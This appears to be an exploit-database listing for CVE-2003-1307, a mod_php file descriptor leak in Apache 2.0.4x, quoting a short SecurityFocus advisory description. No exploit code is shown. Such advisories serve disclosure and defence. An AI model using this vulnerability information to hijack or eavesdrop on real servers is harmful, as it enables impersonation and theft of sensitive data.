Description

Apache 2.0.4x mod_php Module File Descriptor Leakage Vulnerability (1). CVE-2003-1307. Local exploit for linux platform

                                        
                                            source: http://www.securityfocus.com/bid/9302/info

Reportedly, the Apache mod_php module may be prone to a vulnerability that may allow a local attacker to gain access to privileged file descriptors. As a result, the attacker may pose as a legitimate server and possibly steal or manipulate sensitive information.
